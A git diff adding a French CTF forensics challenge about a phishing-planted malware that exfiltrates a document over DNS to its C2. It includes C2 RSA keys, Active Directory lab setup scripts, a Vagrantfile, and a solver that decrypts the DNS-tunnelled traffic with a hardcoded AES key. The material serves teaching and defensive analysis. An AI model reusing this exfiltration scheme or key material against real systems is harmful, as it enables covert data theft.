+er4+9ECsPjKSruG8YuS5NetQAXMOJa7qsgL2rMK4fR1QWzMU3W5ipiCYIKOjjqrM +VuNXYM1c9gszKzh666oU3sznq+CMBtXCv/FtEHFQ10ubB3XBHyuwl/gNwqubjlWR +ApfHyU6AJSzjn61ElRBYi86ce2Im0M/g5p4kTWlD30H/VnW/PuidT0BsobR3T5tb +s5b4GAw50gEpgRTRT0VNTvdkWvRKZZH5r6SyqQHCbuX/MjCsqGF+JfVgYXb7dWXs +K++0rp7TAgMBAAECggEAGqcMyQ+d5PIqY4fDW995Tz+X2rJwyB1Clq/9zb3ngOza +bTF9PfVW15BVHwaOQW27n7Su5ErcX+CwuXK1vBqx6el5CoMjijtq8HBztsZWgRVb +wyWcnlMabIdufO9za2S2E7fF3gIbF6zbDRcmx+ZFkTpfoPvCPYghdk4IKaBjesdw +vC9qgwOXdZwbaSv7QYKG36sXatonowP316jKsbDyDYJEFrWj+6CncFKL5pVwphA6 +vvssri3Pbus9rWcB187hs6w2p6RtUpgLnr0SU7+HN1BREIzEW9PPJn6u7CG8fajH +LC1ClNftRkCgSU/rfffAG7+sXSVFDIrw8xYvcg6XTQKBgQD2JF/Z9/j9vy/j0kvB +yYch8Mf9IiP7tgVi3eo86EgneNjgYSjGZJ2uxrQPUSFWgNNpbo8TcXfM5PIQ+xjp +cMa78YwWEDMCHsShRZ+PU32UQ7y8FybOcH/zJbDspRsV07s/MZCNZ5KYM3G6TJGa +3y5CArOqtyytPLK2rm1bOZi4nwKBgQDBDi19fqffVtAkzaRdB88pj0xoP4tN2d/6 +v6ogN0D03nSKeS1KPKq4o4M3Z1qqNd6L172CZo61P2s5K2V9yxjEgxWuiLp2ZTgj +Nj888j6pva63W34HX82hW3XUziq6SMOJnSYoPAQWOdYvd5+5d2dzEFtcEDCwQB5k +Om0lic6JTQKBgDmom6t7oyANwTIk+QoUI0uYE8EAVl2IbgqS4WQTJZPZgzRMjjir +KSTf9x3/a0fQNbXk6C8tzVp55xqDN3q3qFYuZxpkAQ7mFjmRDaeNb0Vj+Lo20ihZ +wh87HQ7SPl4Gkz5iZfI56OUuZ920Qgd9cGCWMXA0KIsMRPD2Oze7bkMRAoGACAGs +hU3hbHPPQhd9P5Z5UwHsa05nWp00mtOkHJ3uBbnMH4oTBMcrVWkCoiOZMQH27tnN +tEDInl+49LAGD4eCyXOeTJTDFvHvuBYh3Uc2rhd9zYDv4yJoBs8iPecnAn7ODUEF +OhnzGXDgnytY5no7QhxljZXmTwj5ubJqoGnstOkCgYAqNNrEVkKTdFL94vKAImyZ +nd7LDwoOOKwRhNT85o790uc6WqDDRpJgh/RLLrjagl3yQjZvJtijdddh3K9AyS2r +805ur8a2PuDNr5of9aCmdW8UCS48V5OrmEOlBhxvSvjEAuYY6Bdira/ihxbZ4Stq +9Rq5WBOIwN8ruu14wTb6Mg== +-----END PRIVATE KEY----- diff --git a/AnalyseForensique/LeCracken/Malware/C2/public.pem b/AnalyseForensique/LeCracken/Malware/C2/public.pem new file mode 100644 index 0000000..9d86e88 --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/C2/public.pem @@ -0,0 +1,9 @@ +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuZ8N/aBBtJTT0zUKnQ6J +aXu3Pp6UZe2CyzmnyUrqIu5uTECT1UAJ7VMBno2nLS6ZMSvwKDzrk2j1THq+PvRA +rD4ykq7hvGLkuTXrUAFzDiWu6rIC9qzCuH0dUFszFN1uYqYgmCCjo46qzFbjV2DN +XPYLMys4euuqFN7M56vgjAbVwr/xbRBxUNdLmwd1wR8rsJf4DcKrm45VkQKXx8lO +gCUs45+tRJUQWIvOnHtiJtDP4OaeJE1pQ99B/1Z1vz7onU9AbKG0d0+bW7OW+BgM +OdIBKYEU0U9FTU73ZFr0SmWR+a+ksqkBwm7l/zIwrKhhfiX1YGF2+3Vl7CvvtK6e +0wIDAQAB +-----END PUBLIC KEY----- diff --git a/AnalyseForensique/LeCracken/Malware/C2/requirements.txt b/AnalyseForensique/LeCracken/Malware/C2/requirements.txt new file mode 100644 index 0000000..f1c3cce --- /dev/null +++ b/AnalyseForensique/LeCracken/Malware/C2/requirements.txt @@ -0,0 +1,2 @@ +nserver +pycryptodome \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Network.png b/AnalyseForensique/LeCracken/Network.png new file mode 100644 index 0000000..85125d4 Binary files /dev/null and b/AnalyseForensique/LeCracken/Network.png differ diff --git a/AnalyseForensique/LeCracken/README.md b/AnalyseForensique/LeCracken/README.md new file mode 100644 index 0000000..438430b --- /dev/null +++ b/AnalyseForensique/LeCracken/README.md @@ -0,0 +1,56 @@ +# Le Cracken + +## Énoncé + +Au milieu du café trône une table depuis laquelle un homme scrute ses semblables en engloutissant un breuvage étrange. Vous l'observez du coin de l'œil depuis plusieurs minutes déjà quand la porte du café s'ouvre avec fracas. Un homme surgit alors, criant comme si le café était tout à lui. + +« Capitaine ! » + +Vous comprenez immédiatement qu'il s'adresse à votre homme, qui aborde par ailleurs la plus belle casquette de marin qu'il vous ait été donné d'observer. + +« Du respect matelot ! rétorque-t-il. Ne troublez pas ainsi mes hôtes ! + +— Mes excuses capitaine, ainsi qu'à ces messieurs et dames, mais je me dois de vous informer des évènements qui viennent de frapper le nautilus. Notre nouveau mousse a voulu profiter de notre rare escale pour utiliser internet, et je lui ai ouvert une session sur le système, mais cet inconscient s'est laissé attraper par un courriel agicheur et j'ai bien peur que le nautilus ait été compromis par un pirate ! + +— Comment ! s'exclame alors le capitaine Némo, dont la barbe finement taillée contient à peine la colère qui rougit ses joues. Vous ne pouvez donc vous tenir cinq minutes ! Je suppose que vous avez pris les mesures adéquates ? + +— Bien sûr capitaine, j'ai pris soin de faire un dump de la machine affectée et ait entrepris de capturer le réseau passant par le routeur, nous devrions pouvoir investiguer l'affaire. Connaissez-vous quelqu'un qui pourrait mener l'analyse ? Commandez et j'irai à sa rencontre. » + +Vous même féru d'analyse forensique lors de vos temps perdus, vous marmonnez alors : + +« Je pourrais bien m'en charger, moi. » + +Némo vous entends, et ni une, ni deux, son regard vous fusille. + +« Attention, on ne parle pas en vain ici, vous allez vous y coller ! » + +Le matelot vous remet alors une clé USB... + + +Analysez les données remises par le matelot et retrouvez précisément le document exfiltré par le Malware à son C2. + +> Attention, ce challenge contient du code à visée malveillante. Bien que le concepteur ait fait de son mieux pour qu'ils soient inoffensifs, il vous appartient de prendre les précautions nécessaires à l'analyse des fichiers proposés. + +> `Cracken.7z` sha256: `28356457d3263a074dcc90846d766f07` + +Auteur: `Smyler#7078` + +## Sources et dépôt + +- `Malware/Agent/` code source C++ du malware à examiner dans le challenge +- `Malware/C2/` code source Python du serveur de command & control du malware +- `Vagrantfile` décrit l'infrastructure virtualisée Active Directory dans lequel le scénario du challenge a été exécuté +- `Scripts/` contient des scripts utilisés lors de l'installation de infrastructure +- `Flag/` contient le PDF du flag ainsi que ses fichier sources (image générée avec Midjourney) +- `Network.png` schéma de l'infrastructure +- `solve.py` script python de déchirement de l'échange entre le malware et le C2 utilisé pour testé le challenge + +Les fichiers binaires distribues lors du CTF sont trouvable dans les Releases GitHub. + +## Writeups + +Il y avait plusieurs manière de résoudre le challenge, et plusieurs participants ont pris le temps d'écrire de formidable writeups assez complémentaires : +- [Narthorn](https://github.com/Narthorn/ctf/tree/master/2023-05-10_404CTF-2023/01.%20forensics/Le%20Cracken) (*la partie hardmode vaut le détour*) +- [TaylorDeDordogne](https://nudistbeaaach.github.io/write-ups/cracken/) +- [TechieNeurons](https://github.com/TechieNeurons/404CTF_2023_write_ups/tree/main/forensics/le_cracken) + diff --git a/AnalyseForensique/LeCracken/Scripts/install/add-ad-account.ps1 b/AnalyseForensique/LeCracken/Scripts/install/add-ad-account.ps1 new file mode 100644 index 0000000..48a939e --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/install/add-ad-account.ps1 @@ -0,0 +1,19 @@ +param( + [String]$name, + [String]$login, + [String]$password, + [String]$domainAdmin +) + +$safePassword = ConvertTo-SecureString $password -AsPlainText -Force + +New-ADUser ` + -Name $name ` + -UserPrincipalName $login ` + -Accountpassword $safePassword ` + -Enabled $true + +if ( $domainAdmin -eq "true" ) +{ + Add-ADGroupMember -Identity "Domain Admins" -Members $name +} diff --git a/AnalyseForensique/LeCracken/Scripts/install/add-dhcp-scope.ps1 b/AnalyseForensique/LeCracken/Scripts/install/add-dhcp-scope.ps1 new file mode 100644 index 0000000..900f36e --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/install/add-dhcp-scope.ps1 @@ -0,0 +1,30 @@ +param( + [String]$scopeName, + [String]$subnet, + [String]$mask, + [String]$router, + [String]$dnsServers, + [String]$domain, + [String]$startRange, + [String]$endRange, + [String]$startExclusionRange, + [String]$endExclusionRange +) + +Add-DhcpServerv4Scope ` + -name $scopeName ` + -StartRange $startRange ` + -EndRange $endRange ` + -SubnetMask $mask ` + -State Active + +Add-DhcpServerv4ExclusionRange ` + -ScopeID $subnet ` + -StartRange $startExclusionRange ` + -EndRange $endExclusionRange + +Set-DhcpServerv4OptionValue ` + -ScopeId $subnet ` + -DnsServer $dnsServers ` + -Router $router ` + -DnsDomain $domain diff --git a/AnalyseForensique/LeCracken/Scripts/install/dhcp-server.ps1 b/AnalyseForensique/LeCracken/Scripts/install/dhcp-server.ps1 new file mode 100644 index 0000000..11d0736 --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/install/dhcp-server.ps1 @@ -0,0 +1,21 @@ +param( + [String]$dcName, + [String]$dhcpServerName, + [String]$adminLogin, + [String]$adminPassword +) + +Install-WindowsFeature DHCP -IncludeManagementTools + +$securePass = ConvertTo-SecureString $adminPassword -AsPlainText -Force +$credential = New-Object System.Management.Automation.PSCredential($adminLogin, $securePass) + +Write-Output $dnsName + +Invoke-Command -Computer $dcName -Credential $credential -ArgumentList $dhcpServerName -ScriptBlock { + Param ( + [string]$dhcpServerName + ) + Install-WindowsFeature RSAT-DHCP + Add-DhcpServerInDC -DnsName $dhcpServerName +} \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Scripts/install/domain-controller.ps1 b/AnalyseForensique/LeCracken/Scripts/install/domain-controller.ps1 new file mode 100644 index 0000000..e9fed68 --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/install/domain-controller.ps1 @@ -0,0 +1,21 @@ +param( + [String]$domain, + [String]$nbName, + [String]$safeModePassword +) + +$safeModeAdminstratorPassword = ConvertTo-SecureString $safeModePassword -AsPlainText -Force + +Install-WindowsFeature AD-Domain-Services,RSAT-AD-AdminCenter,RSAT-ADDS-Tools +Import-Module ADDSDeployment + +Install-ADDSForest ` + -InstallDns ` + -CreateDnsDelegation:$false ` + -ForestMode 'WinThreshold' ` + -DomainMode 'WinThreshold' ` + -DomainName $domain ` + -DomainNetbiosName $nbName ` + -SafeModeAdministratorPassword $safeModeAdminstratorPassword ` + -NoRebootOnCompletion ` + -Force diff --git a/AnalyseForensique/LeCracken/Scripts/install/join-ad.ps1 b/AnalyseForensique/LeCracken/Scripts/install/join-ad.ps1 new file mode 100644 index 0000000..4b10152 --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/install/join-ad.ps1 @@ -0,0 +1,16 @@ +param( + [String]$domain, + [String]$domainControllerAddress, + [String]$adminLogin, + [String]$adminPassword +) + +Set-DnsClientServerAddress -ServerAddresses ($domainControllerAddress) -InterfaceAlias 'Ethernet' +Set-DnsClientServerAddress -ServerAddresses ($domainControllerAddress) -InterfaceAlias 'Ethernet 2' + +$password = ConvertTo-SecureString $adminPassword -AsPlainText -Force +$credentials = New-Object System.Management.Automation.PSCredential ($adminLogin, $password) +Add-Computer ` + -DomainName $domain ` + -Force ` + -Credential $credentials \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Scripts/install/router.sh b/AnalyseForensique/LeCracken/Scripts/install/router.sh new file mode 100644 index 0000000..0d793b8 --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/install/router.sh @@ -0,0 +1,78 @@ +## Arguments : +## - $1 : DHCP server + +echo "############################" +echo "# Package installations #" +echo "############################" + +export DEBIAN_FRONTEND=noninteractive +apt update +apt install -y \ + tcpdump \ + firewalld \ + vim \ + isc-dhcp-relay \ + bind9 \ + python3 python3-pip \ + screen + +echo "############################" +echo "# Kernel configuration #" +echo "############################" + +# Routing +{ + echo "net.ipv4.ip_forward=1" + echo "net.ipv6.conf.all.forward=1" + echo "net.ipv4.conf.all.accept_redirects=1" + echo "net.ipv6.conf.all.accept_redirects=1" + echo "net.ipv4.conf.all.send_redirects=1" + echo "net.ipv6.conf.all.send_redirects=1" + echo "net.ipv4.conf.all.accept_source_route=1" + echo "net.ipv6.conf.all.accept_source_route=1" +} > /etc/sysctl.d/00-router.conf + +# Reload kernel settings +sysctl --system + +echo "############################" +echo "# Firewall configuration #" +echo "############################" + +# Create zones +firewall-cmd --permanent --new-zone=management +firewall-cmd --permanent --new-zone=users + +# Assign zones to interfaces +firewall-cmd --permanent --zone=external --change-interface=eth0 +firewall-cmd --permanent --zone=management --change-interface=eth1 +firewall-cmd --permanent --zone=users --change-interface=eth2 + +# Accept all traffic on internal interfaces +firewall-cmd --permanent --zone=users --set-target=ACCEPT +firewall-cmd --permanent --zone=management --set-target=ACCEPT + +# Apply rules +firewall-cmd --reload + +echo "############################" +echo "# DHCP relay configuration #" +echo "############################" + +{ + echo "SERVERS=\"$1\"" + echo 'INTERFACES="eth1 eth2"' +} > /etc/default/isc-dhcp-relay + +# Restart server +systemctl restart isc-dhcp-relay + +echo "##############################" +echo "# DNS server configuration #" +echo "##############################" +cp /vagrant/configs/bind9.conf /etc/bind/named.conf.options +cp -r /vagrant/Malware/C2 /opt/c2 +python3 -m pip install -r /opt/c2/requirements.txt +mkdir -p /var/log/named +chown bind:bind /var/log/named/ +systemctl restart bind9 diff --git a/AnalyseForensique/LeCracken/Scripts/install/windows-common.ps1 b/AnalyseForensique/LeCracken/Scripts/install/windows-common.ps1 new file mode 100644 index 0000000..3f57a87 --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/install/windows-common.ps1 @@ -0,0 +1,4 @@ +# Common Windows setup script + +# Set keyboard layout to French +Set-WinUserLanguageList -Force 'fr-FR' \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Scripts/network/linux.sh b/AnalyseForensique/LeCracken/Scripts/network/linux.sh new file mode 100644 index 0000000..214c53b --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/network/linux.sh @@ -0,0 +1,2 @@ +ip route delete default via "$(ip r | grep default | grep -Eo '[0-9]+\.[0-9+\.[0-9]+\.[0-9]+' | head -n 1)" +ip route add default via "$1" \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Scripts/network/windows.ps1 b/AnalyseForensique/LeCracken/Scripts/network/windows.ps1 new file mode 100644 index 0000000..f04871b --- /dev/null +++ b/AnalyseForensique/LeCracken/Scripts/network/windows.ps1 @@ -0,0 +1,27 @@ +param( + [String]$ip, + [String]$gateway, + [String]$dns +) + +# Remove the IP set by Vagrant +Remove-NetIPAddress ` + -IPAddress $ip ` + -Confirm:$false + +New-NetIPAddress ` + -InterfaceAlias "Ethernet 2" ` + -IPAddress $ip ` + -DefaultGateway $gateway ` + -PrefixLength 24 ` + -Confirm:$false + +Set-NetIPInterface ` + -InterfaceAlias "Ethernet 2" ` + -Dhcp Disabled + +Set-DNSClientServerAddress ` + -InterfaceAlias "Ethernet 2" ` + -ServerAddresses $dns + +Set-NetIPInterface -InterfaceAlias Ethernet | Remove-NetRoute -Confirm:$false \ No newline at end of file diff --git a/AnalyseForensique/LeCracken/Vagrantfile b/AnalyseForensique/LeCracken/Vagrantfile new file mode 100644 index 0000000..c7e690e --- /dev/null +++ b/AnalyseForensique/LeCracken/Vagrantfile @@ -0,0 +1,135 @@ +# -*- mode: ruby -*- +# vi: set ft=ruby : + +require 'yaml' + +current_dir = File.dirname(File.expand_path(__FILE__)) +config = YAML.load_file("#{current_dir}/config.yaml") + +Vagrant.configure("2") do |global| + + global.vm.define "router" do |router| + router.vm.hostname = config['hostname']['router'] + router.vm.box = "bento/debian-11" + router.vm.provider "virtualbox" do |vb| + vb.name = "Router" + vb.gui = true + vb.memory = 512 + end + router.vm.network "private_network", # Challenge management network interface + virtualbox__intnet: "management", + ip: config['network']['management']['ip']['router'] + router.vm.network "private_network", # Challenge management network interface + virtualbox__intnet: "user", + ip: config['network']['user']['ip']['router'] + router.vm.provision "shell", path: "Scripts/install/router.sh", args: [ + config['network']['management']['ip']['dhcpServer'] + ] + end + + global.vm.define "domainController" do |domainController| + domainController.vm.hostname = config['hostname']['domainController'] + domainController.vm.box = "gusztavvargadr/windows-server-2022-standard" + + domainController.vm.provider "virtualbox" do |vb| + vb.name = "Domain Controller" + vb.gui = true + vb.memory = 2048 + end + + domainController.vm.communicator = "winrm" + domainController.winrm.transport = :plaintext + domainController.winrm.basic_auth_only = true + + domainController.vm.network :forwarded_port, guest: 5985, host: 5985, id: "winrm", auto_correct: true + domainController.vm.network "private_network", # Challenge management network interface + virtualbox__intnet: "management", + ip: config['network']['management']['ip']['domainController'] + + domainController.vm.provision "shell", path: "Scripts/install/windows-common.ps1" + domainController.vm.provision "shell", path: "Scripts/network/windows.ps1", run: "always", args: [ + "-ip", config['network']['management']['ip']['domainController'], + "-gateway", config['network']['management']['ip']['router'], + "-dns", "9.9.9.9", + ] + domainController.vm.provision "shell", path: "Scripts/install/domain-controller.ps1", args: [ + "-domain", config['activeDirectory']['domain'], + "-nbName", config['activeDirectory']['netBiosName'], + "-safeModePassword", config['activeDirectory']['safeModePassword'], + ] + domainController.vm.provision "shell", reboot: true + config['activeDirectory']['accounts'].each do |user| + domainController.vm.provision "shell", path: 'Scripts/install/add-ad-account.ps1', args: [ + "-name", user["name"], + "-login", user["login"], + "-password", user["password"], + "-domainAdmin", user["domainAdmin"] ? 'true' : 'false', + ] + end + end + + global.vm.define "dhcpServer" do |dhcpServer| + dhcpServer.vm.hostname = config['hostname']['dhcpServer'] + dhcpServer.vm.box = "gusztavvargadr/windows-server-2022-standard" + + dhcpServer.vm.provider "virtualbox" do |vb| + vb.name = "DHCP Server" + vb.gui = true + vb.memory = 2048 + end + + dhcpServer.vm.communicator = "winrm" + dhcpServer.winrm.transport = :plaintext + dhcpServer.winrm.basic_auth_only = true + + dhcpServer.vm.network :forwarded_port, guest: 5985, host: 5985, id: "winrm", auto_correct: true + dhcpServer.vm.network "private_network", # Challenge management network interface + virtualbox__intnet: "management", + ip: config['network']['management']['ip']['dhcpServer'] + + dhcpServer.vm.provision "shell", path: "Scripts/install/windows-common.ps1" + dhcpServer.vm.provision "shell", path: "Scripts/network/windows.ps1", run: "always", args: [ + "-ip", config['network']['management']['ip']['dhcpServer'], + "-gateway", config['network']['management']['ip']['router'], + "-dns", config['network']['management']['ip']['domainController'], + ] + dhcpServer.vm.provision "shell", path: "Scripts/install/join-ad.ps1", args: [ + "-domain", config['activeDirectory']['domain'], + "-domainControllerAddress", config['network']['management']['ip']['domainController'], + "-adminLogin", config['activeDirectory']['accounts'][0]['login'], + "-adminPassword", config['activeDirectory']['accounts'][0]['password'], + ] + dhcpServer.vm.provision "shell", reboot: true + dhcpServer.vm.provision "shell", path: "Scripts/install/dhcp-server.ps1", args: [ + "-dcName", config['hostname']['domainController'].upcase, + "-dhcpServerName", config['hostname']['dhcpServer'] + "." + config['activeDirectory']['domain'], + "-adminLogin", config['activeDirectory']['accounts'][0]['login'], + "-adminPassword", config['activeDirectory']['accounts'][0]['password'], + ] + dhcpServer.vm.provision "shell", path: "Scripts/install/add-dhcp-scope.ps1", args: [ + "-scopeName", config['network']['management']['dhcp']['scopeName'], + "-subnet", config['network']['management']['subnet'], + "-mask", config['network']['management']['mask'], + "-router", config['network']['management']['ip']['router'], + "-dnsServers", config['network']['management']['ip']['domainController'], + "-domain", config['activeDirectory']['domain'], + "-startRange", config['network']['management']['dhcp']['startRange'], + "-endRange", config['network']['management']['dhcp']['endRange'], + "-startExclusionRange", config['network']['management']['dhcp']['startExclusionRange'], + "-endExclusionRange", config['network']['management']['dhcp']['endExclusionRange'], + ] + dhcpServer.vm.provision "shell", path: "Scripts/install/add-dhcp-scope.ps1", args: [ + "-scopeName", config['network']['user']['dhcp']['scopeName'], + "-subnet", config['network']['user']['subnet'], + "-mask", config['network']['user']['mask'], + "-router", config['network']['user']['ip']['router'], + "-dnsServers", config['network']['management']['ip']['domainController'], + "-domain", config['activeDirectory']['domain'], + "-startRange", config['network']['user']['dhcp']['startRange'], + "-endRange", config['network']['user']['dhcp']['endRange'], + "-startExclusionRange", config['network']['user']['dhcp']['startExclusionRange'], + "-endExclusionRange", config['network']['user']['dhcp']['endExclusionRange'], + ] + end + +end diff --git a/AnalyseForensique/LeCracken/solve.py b/AnalyseForensique/LeCracken/solve.py new file mode 100644 index 0000000..c876cae --- /dev/null +++ b/AnalyseForensique/LeCracken/solve.py @@ -0,0 +1,47 @@ +from sys import argv +from Crypto.Cipher import AES +from pyshark import FileCapture +from base64 import b32decode +from math import ceil +from sys import stdout, stderr + + +def eprint(text): + stderr.write(text + '\n') + stderr.flush() + + +def b32decode_nopad(b32str): + pad_length = ceil(len(b32str) / 8) * 8 - len(b32str) + return b32decode(b32str + "=" * pad_length) + + +IV = bytes.fromhex('000102030405060708090A0B0C0D0E0F') +KEY = bytes.fromhex( + "6c bb f2 a3 9f c7 a2 a6 4e 92 17 c8 72 48 5e 41 51 ec fe f9 e3 48 e2 07 07 ec 1b d3 65 b1 12 2d" + .replace(' ', "") +) + +# We are making the bet that thing came in order, but sometimes duplicated +seen = set() + +capture = FileCapture(argv[1], display_filter="dns") +for packet in capture: + dns = packet["DNS"] + name = dns.qry_name + if not name.endswith(".7.cxu5zdk80j3rtqqm1xk5nikxitq2ub.xyz"): + continue + if 'txt' in dir(dns): + continue + if name in seen: + eprint("Ignoring duplicate name") + continue + seen.add(name) + data = name.split('.')[0] + data = b32decode_nopad(data) + cipher = AES.new(KEY, AES.MODE_CBC, iv=IV) + data = cipher.decrypt(data) + size = data[0] + data = data[9: size + 1] + stdout.buffer.write(data) + stdout.flush() diff --git a/AnalyseForensique/README.md b/AnalyseForensique/README.md index 90a252b..41cd58f 100644 --- a/AnalyseForensique/README.md +++ b/AnalyseForensique/README.md @@ -11,4 +11,4 @@ - 🟧 [Les Mystères du cluster de la Comtesse de Ségur [1/2]](MysteresClusterComtesseSegur) - 🟧 [Lettres volatiles](LettresVolatiles) - 🟥 [Note de bas de page](NoteDeBasDePage) -- 🟪 Le Cracken +- 🟪 [Le Cracken](LeCracken)